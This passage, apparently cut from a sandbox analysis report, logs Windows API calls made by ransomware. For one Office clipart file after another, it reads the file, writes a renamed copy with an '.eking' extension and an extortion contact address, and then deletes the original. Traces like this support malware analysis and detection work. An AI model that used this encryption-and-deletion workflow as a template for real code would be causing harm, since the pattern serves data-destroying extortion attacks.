files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0259.855] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3f34, lpOverlapped=0x0) returned 1 [0259.862] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3f40, lpOverlapped=0x0) returned 1 [0259.863] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.864] CloseHandle (hObject=0x390) returned 1 [0259.864] CloseHandle (hObject=0x3a0) returned 1 [0259.864] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0 [0259.865] SetEvent (hEvent=0x2b8) returned 1 [0259.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0259.871] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=17236) returned 1 [0259.871] CloseHandle (hObject=0x398) returned 1 [0259.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0259.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0259.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0259.872] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.872] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0259.873] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4354, lpOverlapped=0x0) returned 1 [0259.877] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4360, lpOverlapped=0x0) returned 1 [0259.878] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.878] CloseHandle (hObject=0x398) returned 1 [0259.878] CloseHandle (hObject=0x348) returned 1 [0259.879] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0 [0259.879] SetEvent (hEvent=0x2b8) returned 1 [0259.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0259.880] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16676) returned 1 [0259.880] CloseHandle (hObject=0x348) returned 1 [0259.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0259.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0259.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0259.881] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.881] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0259.882] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4124, lpOverlapped=0x0) returned 1 [0259.885] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4130, lpOverlapped=0x0) returned 1 [0259.887] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.887] CloseHandle (hObject=0x348) returned 1 [0259.887] CloseHandle (hObject=0x398) returned 1 [0259.887] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0 [0259.888] SetEvent (hEvent=0x2b8) returned 1 [0259.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0259.890] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=26748) returned 1 [0259.890] CloseHandle (hObject=0x398) returned 1 [0259.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0259.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0259.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0259.891] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.891] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0259.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0259.892] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x687c, lpOverlapped=0x0) returned 1 [0259.894] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x6880, lpOverlapped=0x0) returned 1 [0259.896] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0259.896] CloseHandle (hObject=0x398) returned 1 [0259.896] CloseHandle (hObject=0x348) returned 1 [0259.897] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0 [0259.897] SetEvent (hEvent=0x2b8) returned 1 [0259.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0259.898] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4924) returned 1 [0259.898] CloseHandle (hObject=0x348) returned 1 [0259.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0259.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0259.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0260.072] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.072] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0260.086] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x133c, lpOverlapped=0x0) returned 1 [0260.373] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1340, lpOverlapped=0x0) returned 1 [0260.375] WriteFile (in: hFile=0x354, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0260.375] CloseHandle (hObject=0x3a8) returned 1 [0260.375] CloseHandle (hObject=0x354) returned 1 [0260.376] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0 [0260.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.384] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=47786) returned 1 [0260.384] CloseHandle (hObject=0x3a0) returned 1 [0260.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0260.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0260.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.385] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.385] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0260.386] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xbaaa, lpOverlapped=0x0) returned 1 [0260.390] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xbab0, lpOverlapped=0x0) returned 1 [0260.392] WriteFile (in: hFile=0x390, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0260.392] CloseHandle (hObject=0x3a0) returned 1 [0260.393] CloseHandle (hObject=0x390) returned 1 [0260.393] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0 [0260.393] SetEvent (hEvent=0x2b8) returned 1 [0260.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.396] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20554) returned 1 [0260.396] CloseHandle (hObject=0x390) returned 1 [0260.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0260.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0260.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.397] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.397] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0260.397] ReadFile (in: hFile=0x390, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x504a, lpOverlapped=0x0) returned 1 [0260.401] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5050, lpOverlapped=0x0) returned 1 [0260.403] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0260.403] CloseHandle (hObject=0x390) returned 1 [0260.403] CloseHandle (hObject=0x3a0) returned 1 [0260.404] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0 [0260.404] SetEvent (hEvent=0x2b8) returned 1 [0260.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.405] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7966) returned 1 [0260.405] CloseHandle (hObject=0x3a0) returned 1 [0260.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0260.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0260.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.406] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.406] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0260.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0260.407] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1f1e, lpOverlapped=0x0) returned 